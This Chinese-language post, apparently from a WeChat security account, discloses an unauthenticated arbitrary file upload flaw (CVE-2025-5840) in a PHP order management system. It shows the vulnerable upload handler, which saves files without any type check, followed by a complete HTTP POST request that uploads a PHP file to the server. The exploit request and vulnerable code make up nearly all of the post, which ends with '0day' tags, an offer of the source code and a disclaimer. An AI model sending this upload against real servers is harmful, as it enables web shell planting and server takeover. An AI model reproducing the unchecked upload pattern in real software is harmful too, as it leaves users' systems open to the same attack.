国外某数据库管理系统存在前台任意文件上传漏洞 (CVE-2025-5840)

<?php
include'conn.php';
session_start();
$response = array();

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $orderId = mysqli_real_escape_string($conn, $_POST['order_id']);
    $latestEngagementDate = mysqli_real_escape_string($conn, $_POST['latest_engagement_date']);
    $remarks = mysqli_real_escape_string($conn, $_POST['remarks']);
    $orderStatus = mysqli_real_escape_string($conn, $_POST['order_status']);

    $uploadedFile = '';
    $uploadedFileCancelled = '';

if (!empty($_FILES['uploaded_file']['name'])) {
        $targetDirectory = "files/";
        $uploadedFile = basename($_FILES['uploaded_file']['name']);
        $targetFile = $targetDirectory . $uploadedFile;

if (!move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $targetFile)) {
            $response['status'] = 'error';
            $response['message'] = 'Error uploading file.';
echo json_encode($response);
exit();
        }
    }

if (!empty($_FILES['uploaded_file_cancelled']['name'])) {
        $targetDirectory = "files/";
        $uploadedFileCancelled = basename($_FILES['uploaded_file_cancelled']['name']);
        $targetFileCancelled = $targetDirectory . $uploadedFileCancelled;

if (!move_uploaded_file($_FILES['uploaded_file_cancelled']['tmp_name'], $targetFileCancelled)) {
            $response['status'] = 'error';
            $response['message'] = 'Error uploading proof of cancellation.';
echo json_encode($response);
exit();
        }
    }

POST /cdm/user_update_customer_order.php HTTP/1.1
Host: localhost
Content-Length: 322
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF7eA6RTdWc8vj9A2
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/cdm/superadmin_sales_manager.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=n0ca46ek2kkbqokdojeoidfib0
Connection: close

------WebKitFormBoundaryF7eA6RTdWc8vj9A2
Content-Disposition: form-data; name="order_id"

123
------WebKitFormBoundaryF7eA6RTdWc8vj9A2
Content-Disposition: form-data; name="uploaded_file"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryF7eA6RTdWc8vj9A2--

0x02 源码下载

标签:代码审计，0day，渗透测试，系统，通用，0day，闲鱼，交易所

数据库源码关注公众号发送 250612 下载!

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，文章作者和本公众号不承担任何法律及连带责任，望周知！！!